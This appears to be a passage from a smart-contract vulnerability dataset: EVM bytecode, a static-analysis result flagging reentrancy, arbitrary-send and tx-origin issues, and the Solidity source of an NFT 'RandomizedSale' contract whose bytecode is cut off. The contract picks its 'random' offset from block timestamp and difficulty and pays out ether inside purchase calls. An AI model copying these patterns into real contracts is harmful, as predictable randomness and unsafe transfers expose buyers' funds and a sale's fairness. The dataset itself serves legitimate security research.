ffffffffffffffffffffffffff16815260200190815260200160002060000154106124d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ce90613c88565b60405180910390fd5b60006124e230610e03565b9050600081111561259f57601060029054906101000a900460ff1615612595576064600c54612532600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b61253c9190613ca8565b6125469190613d31565b811115612594576064600c5461257d600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610e03565b6125879190613ca8565b6125919190613d31565b90505b5b61259e816126f0565b5b600047905060008111156125b7576125b647612684565b5b6000925050505b5b600060019050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806126665750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561267057600090505b61267d8585858486612969565b5050505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156126ec573d6000803e3d6000fd5b5050565b6001601060016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561272857612727612f39565b5b6040519080825280602002602001820160405280156127565781602001602082028036833780820191505090505b509050308160008151811061276e5761276d6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612815573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128399190613525565b8160018151811061284d5761284c6132da565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506128b430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b16565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612918959493929190613e20565b600060405180830381600087803b15801561293257600080fd5b505af1158015612946573d6000803e3d6000fd5b50505050506000601060016101000a81548160ff02191690831515021790555050565b6000612975838361298b565b9050612983868686846129b9565b505050505050565b6000806000905083156129af5782156129a857600a5490506129ae565b600b5490505b5b8091505092915050565b6000806129c68484612b5c565b9150915083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1591906132a6565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612aa39190613a30565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612aef81612b9a565b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612b4c9190612c44565b60405180910390a3505050505050565b600080600060648486612b6f9190613ca8565b612b799190613d31565b905060008186612b8991906132a6565b905080829350935050509250929050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612be59190613a30565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000819050919050565b612c3e81612c2b565b82525050565b6000602082019050612c596000830184612c35565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c99578082015181840152602081019050612c7e565b83811115612ca8576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cca82612c5f565b612cd48185612c6a565b9350612ce4818560208601612c7b565b612ced81612cae565b840191505092915050565b60006020820190508181036000830152612d128184612cbf565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d5982612d2e565b9050919050565b612d6981612d4e565b8114612d7457600080fd5b50565b600081359050612d8681612d60565b92915050565b612d9581612c2b565b8114612da057600080fd5b50565b600081359050612db281612d8c565b92915050565b60008060408385031215612dcf57612dce612d24565b5b6000612ddd85828601612d77565b9250506020612dee85828601612da3565b9150509250929050565b60008115159050919050565b612e0d81612df8565b82525050565b6000602082019050612e286000830184612e04565b92915050565b60008060408385031215612e4557612e44612d24565b5b6000612e5385828601612da3565b9250506020612e6485828601612da3565b9150509250929050565b6000612e7982612d2e565b9050919050565b612e8981612e6e565b82525050565b6000602082019050612ea46000830184612e80565b92915050565b600080600060608486031215612ec357612ec2612d24565b5b6000612ed186828701612d77565b9350506020612ee286828701612d77565b9250506040612ef386828701612da3565b9150509250925092565b600060ff82169050919050565b612f1381612efd565b82525050565b6000602082019050612f2e6000830184612f0a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f7182612cae565b810181811067ffffffffffffffff82111715612f9057612f8f612f39565b5b80604052505050565b6000612fa3612d1a565b9050612faf8282612f68565b919050565b600067ffffffffffffffff821115612fcf57612fce612f39565b5b602082029050602081019050919050565b600080fd5b6000612ff8612ff384612fb4565b612f99565b9050808382526020820190506020840283018581111561301b5761301a612fe0565b5b835b8181101561304457806130308882612d77565b84526020840193505060208101905061301d565b5050509392505050565b600082601f83011261306357613062612f34565b5b8135613073848260208601612fe5565b91505092915050565b60006020828403121561309257613091612d24565b5b600082013567ffffffffffffffff8111156130b0576130af612d29565b5b6130bc8482850161304e565b91505092915050565b6000602082840312156130db576130da612d24565b5b60006130e984828501612d77565b91505092915050565b60006020828403121561310857613107612d24565b5b600061311684828501612da3565b91505092915050565b61312881612d4e565b82525050565b6000602082019050613143600083018461311f565b92915050565b61315281612df8565b811461315d57600080fd5b50565b60008135905061316f81613149565b92915050565b60006020828403121561318b5761318a612d24565b5b600061319984828501613160565b91505092915050565b600080604083850312156131b9576131b8612d24565b5b60006131c785828601612d77565b92505060206131d885828601612d77565b9150509250929050565b7f4e6f7420686967686572207468616e206f7269676e616c20726174652e000000600082015250565b6000613218601d83612c6a565b9150613223826131e2565b602082019050919050565b600060208201905081810360008301526132478161320b565b9050919050565b60006040820190506132636000830185612c35565b6132706020830184612c35565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006132b182612c2b565b91506132bc83612c2b565b9250828210156132cf576132ce613277565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061331482612c2b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561334757613346613277565b5b600182019050919050565b7f63616e2774206265207a65726f00000000000000000000000000000000000000600082015250565b6000613388600d83612c6a565b915061339382613352565b602082019050919050565b600060208201905081810360008301526133b78161337b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006133f4602083612c6a565b91506133ff826133be565b602082019050919050565b60006020820190508181036000830152613423816133e7565b9050919050565b6000819050919050565b600061344f61344a61344584612d2e565b61342a565b612d2e565b9050919050565b600061346182613434565b9050919050565b600061347382613456565b9050919050565b61348381613468565b82525050565b600060208201905061349e600083018461347a565b92915050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006134da601783612c6a565b91506134e5826134a4565b602082019050919050565b60006020820190508181036000830152613509816134cd565b9050919050565b60008151905061351f81612d60565b92915050565b60006020828403121561353b5761353a612d24565b5b600061354984828501613510565b91505092915050565b6000604082019050613567600083018561311f565b613574602083018461311f565b9392505050565b6000819050919050565b60006135a061359b6135968461357b565b61342a565b612c2b565b9050919050565b6135b081613585565b82525050565b600060c0820190506135cb600083018961311f565b6135d86020830188612c35565b6135e560408301876135a7565b6135f260608301866135a7565b6135ff608083018561311f565b61360c60a0830184612c35565b979650505050505050565b60008151905061362681612d8c565b92915050565b60008060006060848603121561364557613644612d24565b5b600061365386828701613617565b935050602061366486828701613617565b925050604061367586828701613617565b9150509250925092565b6000604082019050613694600083018561311f565b6136a16020830184612c35565b9392505050565b6000815190506136b781613149565b92915050565b6000602082840312156136d3576136d2612d24565b5b60006136e1848285016136a8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613746602483612c6a565b9150613751826136ea565b604082019050919050565b6000602082019050818103600083015261377581613739565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006137d8602283612c6a565b91506137e38261377c565b604082019050919050565b60006020820190508181036000830152613807816137cb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061386a602583612c6a565b91506138758261380e565b604082019050919050565b600060208201905081810360008301526138998161385d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006138fc602383612c6a565b9150613907826138a0565b604082019050919050565b6000602082019050818103600083015261392b816138ef565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061398e602983612c6a565b915061399982613932565b604082019050919050565b600060208201905081810360008301526139bd81613981565b9050919050565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b60006139fa601883612c6a565b9150613a05826139c4565b602082019050919050565b60006020820190508181036000830152613a29816139ed565b9050919050565b6000613a3b82612c2b565b9150613a4683612c2b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613a7b57613a7a613277565b5b828201905092915050565b7f596f752063616e2774206f776e2074686174206d616e7920746f6b656e73206160008201527f74206f6e63652e00000000000000000000000000000000000000000000000000602082015250565b6000613ae2602783612c6a565b9150613aed82613a86565b604082019050919050565b60006020820190508181036000830152613b1181613ad5565b9050919050565b7f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000600082015250565b6000613b4e601b83612c6a565b9150613b5982613b18565b602082019050919050565b60006020820190508181036000830152613b7d81613b41565b9050919050565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b6000613be0602283612c6a565b9150613beb82613b84565b604082019050919050565b60006020820190508181036000830152613c0f81613bd3565b9050919050565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613c72602383612c6a565b9150613c7d82613c16565b604082019050919050565b60006020820190508181036000830152613ca181613c65565b9050919050565b6000613cb382612c2b565b9150613cbe83612c2b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf757613cf6613277565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613d3c82612c2b565b9150613d4783612c2b565b925082613d5757613d56613d02565b5b828204905092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613d9781612d4e565b82525050565b6000613da98383613d8e565b60208301905092915050565b6000602082019050919050565b6000613dcd82613d62565b613dd78185613d6d565b9350613de283613d7e565b8060005b83811015613e13578151613dfa8882613d9d565b9750613e0583613db5565b925050600181019050613de6565b5085935050505092915050565b600060a082019050613e356000830188612c35565b613e4260208301876135a7565b8181036040830152613e548186613dc2565b9050613e63606083018561311f565b613e706080830184612c35565b969550505050505056fea2646970667358221220614de690478fd983735a7a973fc5259126d037c2fc3fb80c8ca5883fce60050764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,356
0xea1d6b251268d1e264de6838f13bb9dfff10d09c
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.6.7; interface IERC1155 { function safeTransferFrom(address _from, address _to, uint256 _id, uint256 value, bytes calldata _data) external; function balanceOf(address _owner, uint256 _id) external view returns(uint256); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return _msgSender() == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract RandomizedSale is Ownable { using SafeMath for uint256; uint256 constant public MAX_SUPPLY = 17; IERC1155 public nft; uint256 public price = 0.5 ether; uint256 public id; uint256 public offset; uint256 public start; uint256 public idToSend; uint256 public maxId; uint256 public amountSold = 0; bool public ended = false; address[] public buyers; mapping(address => bool) public buyerMapping; // key is address, value is boolean where true means they already bought address payable public haus; address payable public seller; event Buy(address buyer, uint256 amount); constructor() public { start = 1620154800; id = 72; maxId = id + MAX_SUPPLY - 1; nft = IERC1155(0x13bAb10a88fc5F6c77b87878d71c9F1707D2688A); seller = payable(address(0x15884D7a5567725E0306A90262ee120aD8452d58)); haus = payable(address(0x38747BAF050d3C22315a761585868DbA16abFD89)); } function buy(uint256 amount) public payable { require(amountSold + buyers.length < MAX_SUPPLY, "sold out"); require(!buyerMapping[msg.sender], "already purchased"); require(msg.sender == tx.origin, "no contracts"); require(block.timestamp >= start, "early"); require(amount <= MAX_SUPPLY, "ordered too many"); require(amount <= 1, "ordered too many"); require(msg.value == price.mul(amount), "wrong amount"); uint256 balance = address(this).balance; uint256 hausFee = balance.div(20).mul(3); haus.transfer(hausFee); seller.transfer(address(this).balance); buyerMapping[msg.sender] = true; buyers.push(msg.sender); emit Buy(msg.sender, amount); } function supply() public view returns(uint256) { return MAX_SUPPLY.sub(amountSold); } function supply(uint256 _id) public view returns(uint256) { return nft.balanceOf(address(this), _id); } function end() public onlyOwner { if (!ended) { ended = true; offset = generateRandom(); idToSend = id.add(offset); } uint256 balance = address(this).balance; uint256 hausFee = balance.div(20).mul(3); haus.transfer(hausFee); seller.transfer(address(this).balance); } function distribute() public onlyOwner { if (!ended) { return; } for (uint i = 0; i < buyers.length; i++) { address toSendTo = buyers[i]; nft.safeTransferFrom(address(this), toSendTo, idToSend, 1, new bytes(0x0)); buyerMapping[toSendTo] = false; idToSend = idToSend.add(1); if (idToSend > maxId) { idToSend = id; } } amountSold = amountSold.add(buyers.length); delete buyers; } function generateRandom() private view returns (uint256) { return uint256(keccak256(abi.encode(block.timestamp, block.difficulty)))%(MAX_SUPPLY); } function pull(uint256 _id) public onlyOwner { nft.safeTransferFrom(address(this), seller, _id, 1, new bytes(0x0)); } function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")); } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns(bytes4) { return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")); } }
0x6080604052600436106101815760003560e01c8063af640d0f116100d1578063d96a094a1161008a578063efbe1c1c11610064578063efbe1c1c14610757578063f23a6e611461076e578063f2aa82181461087b578063f2fde38b146108e057610181565b8063d96a094a146106d1578063dd6b8e76146106ff578063e4fc6b6d1461074057610181565b8063af640d0f1461041b578063bc197c8114610446578063be4dd10c146105e9578063be9a655514610650578063c5ea3c651461067b578063d5556544146106a657610181565b80634d0392a81161013e578063715018a611610118578063715018a61461036b5780638da5cb5b146103825780638f32d59b146103c3578063a035b1fe146103f057610181565b80634d0392a8146102da57806352a16bb0146103155780636a2283ec1461034057610181565b8063047fc9aa1461018657806308551a53146101b157806312fa6feb146101f257806332cb6b0c1461021f578063354030231461024a57806347ccca0214610299575b600080fd5b34801561019257600080fd5b5061019b610931565b6040518082815260200191505060405180910390f35b3480156101bd57600080fd5b506101c661094e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fe57600080fd5b50610207610974565b60405180821515815260200191505060405180910390f35b34801561022b57600080fd5b50610234610987565b6040518082815260200191505060405180910390f35b34801561025657600080fd5b506102836004803603602081101561026d57600080fd5b810190808035906020019092919050505061098c565b6040518082815260200191505060405180910390f35b3480156102a557600080fd5b506102ae610a60565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e657600080fd5b50610313600480360360208110156102fd57600080fd5b8101908080359060200190929190505050610a86565b005b34801561032157600080fd5b5061032a610caf565b6040518082815260200191505060405180910390f35b34801561034c57600080fd5b50610355610cb5565b6040518082815260200191505060405180910390f35b34801561037757600080fd5b50610380610cbb565b005b34801561038e57600080fd5b50610397610df3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103cf57600080fd5b506103d8610e1c565b60405180821515815260200191505060405180910390f35b3480156103fc57600080fd5b50610405610e7a565b6040518082815260200191505060405180910390f35b34801561042757600080fd5b50610430610e80565b6040518082815260200191505060405180910390f35b34801561045257600080fd5b506105b4600480360360a081101561046957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156104c657600080fd5b8201836020820111156104d857600080fd5b803590602001918460208302840111640100000000831117156104fa57600080fd5b90919293919293908035906020019064010000000081111561051b57600080fd5b82018360208201111561052d57600080fd5b8035906020019184602083028401116401000000008311171561054f57600080fd5b90919293919293908035906020019064010000000081111561057057600080fd5b82018360208201111561058257600080fd5b803590602001918460018302840111640100000000831117156105a457600080fd5b9091929391929390505050610e86565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b3480156105f557600080fd5b506106386004803603602081101561060c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb7565b60405180821515815260200191505060405180910390f35b34801561065c57600080fd5b50610665610ed7565b6040518082815260200191505060405180910390f35b34801561068757600080fd5b50610690610edd565b6040518082815260200191505060405180910390f35b3480156106b257600080fd5b506106bb610ee3565b6040518082815260200191505060405180910390f35b6106fd600480360360208110156106e757600080fd5b8101908080359060200190929190505050610ee9565b005b34801561070b57600080fd5b506107146114cf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561074c57600080fd5b506107556114f5565b005b34801561076357600080fd5b5061076c61182a565b005b34801561077a57600080fd5b50610846600480360360a081101561079157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019064010000000081111561080257600080fd5b82018360208201111561081457600080fd5b8035906020019184600183028401116401000000008311171561083657600080fd5b9091929391929390505050611a05565b60405180827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200191505060405180910390f35b34801561088757600080fd5b506108b46004803603602081101561089e57600080fd5b8101908080359060200190929190505050611a34565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ec57600080fd5b5061092f6004803603602081101561090357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a70565b005b60006109496008546011611af690919063ffffffff16565b905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900460ff1681565b601181565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e30846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b158015610a1e57600080fd5b505afa158015610a32573d6000803e3d6000fd5b505050506040513d6020811015610a4857600080fd5b81019080805190602001909291905050509050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a8e610e1c565b610b00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846001600067ffffffffffffffff81118015610b7d57600080fd5b506040519080825280601f01601f191660200182016040528015610bb05781602001600182028036833780820191505090505b506040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610c44578082015181840152602081019050610c29565b50505050905090810190601f168015610c715780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b158015610c9457600080fd5b505af1158015610ca8573d6000803e3d6000fd5b5050505050565b60085481565b60065481565b610cc3610e1c565b610d35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e5e611b40565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b60025481565b60035481565b60007fbc197c819b3e337a6f9652dd10becd7eef83032af3b9d958d3d42f6694146621905098975050505050505050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60055481565b60075481565b60045481565b6011600a805490506008540110610f68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f736f6c64206f757400000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611028576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f616c72656164792070757263686173656400000000000000000000000000000081525060200191505060405180910390fd5b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146110c9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f6e6f20636f6e747261637473000000000000000000000000000000000000000081525060200191505060405180910390fd5b600554421015611141576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f6561726c7900000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60118111156111b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6f72646572656420746f6f206d616e790000000000000000000000000000000081525060200191505060405180910390fd5b600181111561122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260108152602001807f6f72646572656420746f6f206d616e790000000000000000000000000000000081525060200191505060405180910390fd5b61124481600254611b4890919063ffffffff16565b34146112b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f77726f6e6720616d6f756e74000000000000000000000000000000000000000081525060200191505060405180910390fd5b600047905060006112e660036112d8601485611bce90919063ffffffff16565b611b4890919063ffffffff16565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611350573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156113b9573d6000803e3d6000fd5b506001600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a339080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fe3d4187f6ca4248660cc0ac8b8056515bac4a8132be2eca31d6d0cc170722a7e3384604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6114fd610e1c565b61156f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960009054906101000a900460ff1661158857611828565b60005b600a805490508110156117f8576000600a82815481106115a757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a30836006546001600067ffffffffffffffff8111801561163157600080fd5b506040519080825280601f01601f1916602001820160405280156116645781602001600182028036833780820191505090505b506040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156116f85780820151818401526020810190506116dd565b50505050905090810190601f1680156117255780820380516001836020036101000a031916815260200191505b509650505050505050600060405180830381600087803b15801561174857600080fd5b505af115801561175c573d6000803e3d6000fd5b505050506000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117ce6001600654611c1890919063ffffffff16565b60068190555060075460065411156117ea576003546006819055505b50808060010191505061158b565b50611813600a80549050600854611c1890919063ffffffff16565b600881905550600a60006118279190611fac565b5b565b611832610e1c565b6118a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600960009054906101000a900460ff166118ff576001600960006101000a81548160ff0219169083151502179055506118db611ca0565b6004819055506118f8600454600354611c1890919063ffffffff16565b6006819055505b6000479050600061192d600361191f601485611bce90919063ffffffff16565b611b4890919063ffffffff16565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611997573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611a00573d6000803e3d6000fd5b505050565b60007ff23a6e612e1ff4830e658fe43f4e3c